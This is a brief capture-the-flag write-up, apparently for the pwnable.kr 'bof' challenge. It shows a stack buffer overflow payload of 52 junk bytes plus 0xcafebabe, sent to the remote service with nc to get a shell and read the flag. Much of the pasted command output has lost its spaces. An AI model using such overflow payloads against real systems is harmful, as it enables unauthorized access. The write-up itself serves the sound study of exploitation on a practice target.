We can inspect the reason for this by checking the output of checksec utility which states what all binary protection mechanisms are applied on this binary.
$checksec--file./bof
As we can see all the binary protection mechanisms are applied over this binary, we have to search for another route.
Lets hop into GDB and see exactly how far is the value of key from the buffer and try overwriting the value of key.
As we can see, the value of 0xdeadbeef (key) is at 0xffffd150, 52 bytes away from the starting of buffer overflowme, thus to bypass the comparison at line 8, we have to create a payload which consists of 52 junk bytes and 0xcafebabe as last 4 bytes.
NOTE: We willll have to pass the value 0xcafebabe in little endian format along with other values.
As it is clear from the output of examine command we have successful overwritten the value at 0xffffd150 with 0xcafebabe. Thus our payload works, now we can use this payload to actually get a shell on the remote server using the following command:
$ (cat /tmp/input; cat) |ncpwnable.kr9000$ls-altotal496drwxr-x---3rootbof4096Oct232016.drwxr-xr-x114rootroot4096May1915:59..d---------2rootroot4096Jun122014.bash_history-r-xr-x---1rootbof7348Sep122016bof-rw-r--r--1rootroot308Oct232016bof.c-r--r-----1rootbof32Jun112014flag-rw-------1rootroot467454Jun2209:17log-rw-r--r--1rootroot0Oct232016log2-rwx------1rootroot760Sep112014super.pl$catflagdaddy,IjustpwnedabuFFer:) # FLAG